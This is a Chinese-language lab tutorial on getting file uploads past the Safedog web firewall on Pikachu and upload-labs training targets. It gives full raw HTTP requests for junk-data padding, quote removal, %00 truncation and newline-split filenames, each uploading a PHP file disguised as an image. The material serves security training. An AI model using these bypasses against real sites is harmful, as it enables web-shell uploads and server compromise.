上传waf绕过

上传WAF绕过 - 图1
上传参数名解析：明确有哪些东西能修改？

  1. Content-Disposition:  一般可更改
  2. name: 表单参数值，不能更改
  3. filename :文件名，可以更改
  4. Content-Type:文件MIME，视情况更改

常见的绕过方法

  1. 数据溢出-防匹配(xxx.. .)
  2. 符号变异-防匹配（'" ;)
  3. 数据截断-防匹配(%00 ;换行)
  4. 重复数据-防匹配(参数多次)

pikachu+安全狗绕过

https://www.cnblogs.com/shley/p/14800623.html

数据溢出

上传WAF绕过 - 图2
正常上传的情况

上传WAF绕过 - 图3
被安全狗拦截的情况

上传WAF绕过 - 图4
修改数据包上传Content-Disposition: form-data; name=”uploadfile”;中间插入大量的垃圾数据从而绕过。

上传WAF绕过 - 图5

%00截断

使用%00截断，添加合法后缀名格式：文件名.php%00.png

上传WAF绕过 - 图6

改变符号

去掉双引号

  1. POST /vul/unsafeupload/servercheck.php HTTP/1.1
  2. Host: 10.1.1.6:88
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Content-Type: multipart/form-data; boundary=---------------------------276594773132894662704244861418
  8. Content-Length: 367
  9. Origin: http://10.1.1.6:88
  10. Connection: close
  11. Referer: http://10.1.1.6:88/vul/unsafeupload/servercheck.php
  12. Cookie: PHPSESSID=e405r8e634hhjk7su64ofmjknl
  13. Upgrade-Insecure-Requests: 1
  15. -----------------------------276594773132894662704244861418
  16. Content-Disposition: form-data;name="uploadfile"; filename=info4.php
  17. Content-Type: image/jpeg
  19. <?php phpinfo(); ?>
  20. -----------------------------276594773132894662704244861418
  21. Content-Disposition: form-data; name="submit"
  23. å¼€å§‹ä¸Šä¼ 
  24. -----------------------------276594773132894662704244861418--

上传WAF绕过 - 图7
只使用一个双引号，成功上传文件info5.php

  1. POST /vul/unsafeupload/servercheck.php HTTP/1.1
  2. Host: 10.1.1.6:88
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Content-Type: multipart/form-data; boundary=---------------------------276594773132894662704244861418
  8. Content-Length: 368
  9. Origin: http://10.1.1.6:88
  10. Connection: close
  11. Referer: http://10.1.1.6:88/vul/unsafeupload/servercheck.php
  12. Cookie: PHPSESSID=e405r8e634hhjk7su64ofmjknl
  13. Upgrade-Insecure-Requests: 1
  15. -----------------------------276594773132894662704244861418
  16. Content-Disposition: form-data;name="uploadfile"; filename="info5.php
  17. Content-Type: image/jpeg
  19. <?php phpinfo(); ?>
  20. -----------------------------276594773132894662704244861418
  21. Content-Disposition: form-data; name="submit"
  23. å¼€å§‹ä¸Šä¼ 
  24. -----------------------------276594773132894662704244861418--

上传WAF绕过 - 图8

uploads+安全狗绕过

数据溢出

  1. POST /Pass-06/index.php?action=show_code HTTP/1.1
  2. Host: 10.1.1.6
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Content-Type: multipart/form-data; boundary=---------------------------219208409912899756444268510117
  8. Content-Length: 378
  9. Origin: http://10.1.1.6
  10. Connection: close
  11. Referer: http://10.1.1.6/Pass-06/index.php?action=show_code
  12. Upgrade-Insecure-Requests: 1
  14. -----------------------------219208409912899756444268510117
  15. Content-Disposition: form-data; name="upload_file";填充大量的垃圾数据; filename="info.Php"
  16. Content-Type: application/octet-stream
  18. <?php phpinfo(); ?>
  19. -----------------------------219208409912899756444268510117
  20. Content-Disposition: form-data; name="submit"
  22. 涓婁紶
  23. -----------------------------219208409912899756444268510117--

上传WAF绕过 - 图9

改变符号

  1. POST /Pass-02/index.php?action=show_code HTTP/1.1
  2. Host: 10.1.1.6
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Content-Type: multipart/form-data; boundary=---------------------------156187617541967037312717027348
  8. Content-Length: 363
  9. Origin: http://10.1.1.6
  10. Connection: close
  11. Referer: http://10.1.1.6/Pass-02/index.php?action=show_code
  12. Upgrade-Insecure-Requests: 1
  14. -----------------------------156187617541967037312717027348
  15. Content-Disposition: form-data; name="upload_file"; filename="info.php
  16. Content-Type: image/jpeg
  18. <?php phpinfo(); ?>
  19. -----------------------------156187617541967037312717027348
  20. Content-Disposition: form-data; name="submit"
  22. 涓婁紶
  23. -----------------------------156187617541967037312717027348--

上传WAF绕过 - 图10

  1. POST /Pass-02/index.php?action=show_code HTTP/1.1
  2. Host: 10.1.1.6
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Content-Type: multipart/form-data; boundary=---------------------------156187617541967037312717027348
  8. Content-Length: 362
  9. Origin: http://10.1.1.6
  10. Connection: close
  11. Referer: http://10.1.1.6/Pass-02/index.php?action=show_code
  12. Upgrade-Insecure-Requests: 1
  14. -----------------------------156187617541967037312717027348
  15. Content-Disposition: form-data; name="upload_file"; filename=info.php
  16. Content-Type: image/jpeg
  18. <?php phpinfo(); ?>
  19. -----------------------------156187617541967037312717027348
  20. Content-Disposition: form-data; name="submit"
  22. 涓婁紶
  23. -----------------------------156187617541967037312717027348--

上传WAF绕过 - 图11

%00截断

  1. POST /Pass-02/index.php?action=show_code HTTP/1.1
  2. Host: 10.1.1.6
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Content-Type: multipart/form-data; boundary=---------------------------156187617541967037312717027348
  8. Content-Length: 371
  9. Origin: http://10.1.1.6
  10. Connection: close
  11. Referer: http://10.1.1.6/Pass-02/index.php?action=show_code
  12. Upgrade-Insecure-Requests: 1
  14. -----------------------------156187617541967037312717027348
  15. Content-Disposition: form-data; name="upload_file"; filename="info.php%00.png"
  16. Content-Type: image/jpeg
  18. <?php phpinfo(); ?>
  19. -----------------------------156187617541967037312717027348
  20. Content-Disposition: form-data; name="submit"
  22. 涓婁紶
  23. -----------------------------156187617541967037312717027348--

上传WAF绕过 - 图12

换行执行

  1. POST /Pass-02/index.php?action=show_code HTTP/1.1
  2. Host: 10.1.1.6
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Content-Type: multipart/form-data; boundary=---------------------------156187617541967037312717027348
  8. Content-Length: 368
  9. Origin: http://10.1.1.6
  10. Connection: close
  11. Referer: http://10.1.1.6/Pass-02/index.php?action=show_code
  12. Upgrade-Insecure-Requests: 1
  14. -----------------------------156187617541967037312717027348
  15. Content-Disposition: form-data; name="upload_file"; filename="x.
  16. p
  17. h
  18. p"
  19. Content-Type:  image/jpeg
  21. <?php phpinfo(); ?>
  22. -----------------------------156187617541967037312717027348
  23. Content-Disposition: form-data; name="submit"
  25. 涓婁紶
  26. -----------------------------156187617541967037312717027348--

上传WAF绕过 - 图13

上传WAF绕过 - 图14
fuzz字典
https://github.com/fuzzdbproject/fuzzdb
https://github.com/TheKingOfDuck/fuzzDicts
https://github.com/TuuuNya/fuzz_dict
https://github.com/jas502n/fuzz-wooyun-org

上传WAF绕过 - 图15

上传WAF绕过 - 图16

上传WAF绕过 - 图17

上传WAF绕过 - 图18